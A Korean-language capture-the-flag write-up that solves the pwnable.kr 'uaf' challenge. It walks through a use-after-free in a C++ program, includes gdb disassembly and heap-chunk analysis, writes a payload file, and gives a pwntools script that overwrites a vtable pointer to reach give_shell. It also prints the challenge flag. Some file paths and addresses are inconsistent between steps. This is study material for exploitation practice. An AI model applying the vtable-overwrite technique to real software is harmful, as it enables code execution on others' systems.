풀이 사전 지식
+ UAF
UAF
# Problem
# Analysis
# uaf.cpp
소스를 먼저 분석해보면 Human이라는 클래스를 상속받는 Man과 Woman 클래스가 선언되어 있습니다.
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
C++
복사
사용자의 입력을 받아 1, 2, 3 중 입력한 값에 따라서 함수 호출, 메모리 할당, free를 진행합니다.
switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
C++
복사
UAF 취약점이 발생하며, 최종적으로 UAF 취약점을 이용하여 give_shell 함수를 실행하면 되는 것을 알 수 있습니다.
# Dynamic Analysis
# Run
아래의 명령어를 입력하여 실행합니다.
./uaf
3
1
Bash
복사
3을 입력해 m, w 변수를 free 해준 뒤 1을 입력해 보면 아래와 같이 Segmentation fault가 뜬것을 확인할 수 있습니다.
# Static Analysis
gdb -q ./uaf
source /usr/share/peda/peda.py
Bash
복사
# give_shell address
give_shell 함수의 주소를 확인해보겠습니다.
info func
(생략)
0x000000000040117a Human::give_shell()
0x0000000000401192 Human::introduce()
(생략)
Bash
복사
give_shell → 0x000000000040117a
# disas main
아래의 명령어를 입력하여 main을 확인할 수 있습니다.
일단 먼저 1을 입력하면 발생하는 일을 확인해보겠습니다.
gdb-peda$ pdisas main
Dump of assembler code for function main:
(생략)
0x0000000000400fb5 <+241>: cmp eax,0x2
0x0000000000400fb8 <+244>: je 0x401000 <main+316>
0x0000000000400fba <+246>: cmp eax,0x3
0x0000000000400fbd <+249>: je 0x401076 <main+434>
0x0000000000400fc3 <+255>: cmp eax,0x1
0x0000000000400fc6 <+258>: je 0x400fcd <main+265>
0x0000000000400fc8 <+260>: jmp 0x4010a9 <main+485>
(생략)
End of assembler dump.
C
복사
main+255 부분에서 비교를 한 뒤 1을 입력하면 main+265으로 점프합니다.
main+265에서 중심적으로 봐야하는 부분을 아래와 같습니다.
0x0000000000400fcd <+265>: mov rax,QWORD PTR [rbp-0x38]
0x0000000000400fd1 <+269>: mov rax,QWORD PTR [rax]
0x0000000000400fd4 <+272>: add rax,0x8
0x0000000000400fd8 <+276>: mov rdx,QWORD PTR [rax]
0x0000000000400fdb <+279>: mov rax,QWORD PTR [rbp-0x38]
0x0000000000400fdf <+283>: mov rdi,rax
0x0000000000400fe2 <+286>: call rdx
0x0000000000400fe4 <+288>: mov rax,QWORD PTR [rbp-0x30]
0x0000000000400fe8 <+292>: mov rax,QWORD PTR [rax]
0x0000000000400feb <+295>: add rax,0x8
0x0000000000400fef <+299>: mov rdx,QWORD PTR [rax]
0x0000000000400ff2 <+302>: mov rax,QWORD PTR [rbp-0x30]
0x0000000000400ff6 <+306>: mov rdi,rax
0x0000000000400ff9 <+309>: call rdx
C
복사
main+265~286까지 분석을 진행해보면 아래와 같습니다.(맞는건가…?)
1.
rax에 rbp-0x38의 주소에 있는 값 저장
m의 주소 값(m은 포인터니까)
2.
rax에 rax의 주소에 있는 값을 저장
m의 주소에 있는 값(포인터를 통해 접근 후 필요한 값에 접근)
3.
rax에 8 더하기
4.
rdx에 rax의 주소에 있는 값 저장
5.
rax에 rbp-0x38의 주소에 있는 값 저장
6.
rdx에 있는 값 호출
이를 소스코드로 예상해보면 아래와 같다고 예상할 수 있습니다.
m->introduce();
w->introduce();
C
복사
해당 내용을 확인하기 위해 main+265에 breakpoint를 걸어줍니다.
b *main+265
r
1
Bash
복사
ni를 2번 입력해 rax에 담기는 값을 확인해 보겠습니다.
ni
ni
Bash
복사
rax에 give_shell 함수의 주소를 확인할 수 있습니다.
rax에 저장된 메모리 주소와 rax+8를 확인해보겠습니다.
그럼 아래와 같은 방법으로 rdx에 담기는 rax 값을 변조할 수 있습니다.
1.
m과 w를 free
2.
m과 w와 같은 size의 memory를 할당
3.
할당 받은 메모리에 0x401570 - 8(0x401568)을 저장
4.
m을 호출
일단 할당 받은 메모리의 크기를 먼저 확인해보겠습니다.
x/gx $rbp - 0x38 #0x00000000011eac50
x/gx 0x00000000011eac50 - 0x8
x/gx $rbp - 0x30 #0x00000000011eaca0
x/gx 0x00000000011eaca0 - 0x8
Bash
복사
size가 0x21로 prev_inuse를 빼면 0x20(32)Byte를 할당 받은 것을 확인할 수 있습니다.
prev_size와 size 크기인 16 Byte를 빼주면 16Byte가 총 할당 받은 메모리임을 알 수 있습니다.
먼저 Heap은 메모리 할당의 요청할 경우 32bit에서는 8 Byte, 64bit에서는 16Byte 단위로 할당합니다. 하지만 여기서 하나 더 알아야하는 부분이 있습니다.
prev_size는 앞의 free된 chunk의 크기를 저장하고 있습니다. 따라서 prev_size는 앞의 chunk가 free되지 않았다면 낭비되는 자리입니다. 메모리의 낭비를 최소화 하기 위해서 할당되는 메모리의 상황에 따라 prev_size를 이용합니다.
즉 3~24Byte까지 할당해도 상관 없습니다.
마지막으로 payload를 작성하기 위해 메모리를 할당하는 부분을 보겠습니다.
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
C++
복사
사용자가 입력한 argv를 기준으로 메모리를 할당하고 저장함으로 아래의 명령어를 입력하여 0x401568을 data에 저장할 수 있도록 파일을 생성해줍니다.
mkdir /tmp/jang
python -c 'print "\x68\x15\x40"' > /tmp/jang/payload
Bash
복사
# Attack Vector
## UAF
# Free
3을 입력하여 m과 w를 free 해줍니다.
# After
2를 입력하여 3~24Byte Payload를 입력하여 m의 주소를 다시 재할당 받고 Payload를 저장합니다.
# USE
1을 입력하여 m->introduce()을 호출합니다.
# Exploit
# How to Double Malloc
해당 Payload를 트리거 하기 위해서 메모리 할당을 2번 해줘야 합니다.
먼저 free하는 코드와 호출하는 코드를 보면 아래와 같습니다.
(use)
m->introduce();
w->introduce();
(free)
delete m;
delete w;
C++
복사
LIFO구조를 가지는 fastbin의 입장에서 볼 경우 아래와 같이 쌓이며, 맨 위에 있는 w 먼저 할당하여 사용합니다.
1.
w
2.
m
즉 한번만 할당을 하면 w에 할당을 하고 m는 free된 상태에서 m→introduce()를 호출함으로 segmentation fault가 발생하는걸 확인할 수 있습니다.
# Payload
from pwn import *
s = ssh(user='uaf', host='pwnable.kr', port=2222, password='guest')
p = s.process(executable="/home/uaf/uaf", argv=["","4",'/tmp/jang/temp'])
def USE():
p.recvuntil('3. free')
p.sendline('1')
def AFTER():
p.recvuntil('3. free')
p.sendline('2')
def FREE():
p.recvuntil('3. free')
p.sendline('3')
FREE()
AFTER()
AFTER()
USE()
p.interactive()
Python
복사
조금 기다려주면 shell을 획득할 수 있습니다.
# Flag
yay_f1ag_aft3r_pwning
Plain Text
복사
# 여담
맹글링과 디맹글링 그리고 vtable에 대해서도 추가로 공부한 내용을 작성했습니다.